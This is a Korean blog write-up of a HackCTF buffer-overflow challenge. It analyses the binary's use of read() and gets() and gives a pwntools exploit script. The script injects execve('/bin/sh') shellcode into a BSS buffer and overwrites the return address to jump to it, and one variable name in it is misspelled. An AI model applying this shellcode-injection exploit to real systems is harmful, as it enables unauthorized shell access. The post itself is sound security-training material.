tmxklab
[HackCTF/Pwnable] 내 버퍼가 흘러 넘친다!! 본문
1. 문제확인
nc ctf.j0n9hyun.xyz 3003
1) 접속
- Name과 input값을 입력한 뒤 프로그램 종료
2) IDA(Pseudocode)확인 - main()
- read()를 사용하여 표준입력을 받아 name변수에 50bytes까지 저장 가능
- gets()를 통해 표준입력으로 들어온 문자열을 s변수에 저장
- gets()에 쓰인 s변수는 main()에서 선언되어 있지만 read()에 쓰인 name변수는 main()에서 찾을 수 없음
ssize_t read(int fd, void *buf, size_t len)
- int fd : 파일디스크립터(0, 1, 2는 표준 입력, 표준 출력, 표준 에러)
- void *buf : 데이터를 저장할 버퍼
- size_t len : 읽을 데이터 크기
char *gets(char *str)
- char *str : 표준 입력으로 들어온 문자열을 전달받아 저장할 버퍼
- bof 취약점 존재
3) name변수 확인
- BSS(Block Started by Symbol) : 초기화되지 않은 데이터가 저장되는 영역
- 즉, name변수는 전역변수로 선언은 되어있지만 초기화되지 않은 상태
2. 접근방법
1) 스택구조
2) 결론
- get()의 bof취약점을 이용해 공격
- read()를 통해 name변수에 쉘 코드를 삽입
- gets()를 통해 ret의 주소 값을 방금 살펴본 name변수의 주소 값으로 변조
3. 풀이
1) 공격코드 작성
from pwn import * # pwntools모듈
# remote(ip, port), ip는 string형, port는 int형
p = remote("ctf.j0n9hyun.xyz", 3003)
# shellcode, bss, payload 초기화
# payload는 s변수[ebp-20]에서 SFP까지 덮어야하므로 24bytes의 쓰레기 값과
# ret를 bss영역의 name변수 시작 주소 값으로 덮어씌움
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
bss = 0x0804A060
payload = "A"*24
payload += p32(bss)
# read()를 통해 name변수 shellcode로 초기화
p.recvuntil("Name : ")
p.sendline(shellcode)
# gets()를 통해 payload실행
p.recvuntil("input : ")
p.sendline(paylaod)
# interactive()는 쉘과 직접적으로 명령을 송수신할 수 있는 함수
p.interactive()
2) 공격실행
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] x64 Simple_size_BOF (0) | 2020.01.27 |
---|---|
[HackCTF/Pwnable] x64 Buffer Overflow (0) | 2020.01.27 |
[HackCTF/Pwnable] Basic_FSB (0) | 2020.01.27 |
[HackCTF/Pwnable] Basic_BOF #2 (0) | 2020.01.21 |
[HackCTF/Pwnable] Basic_BOF #1 (0) | 2020.01.21 |
Comments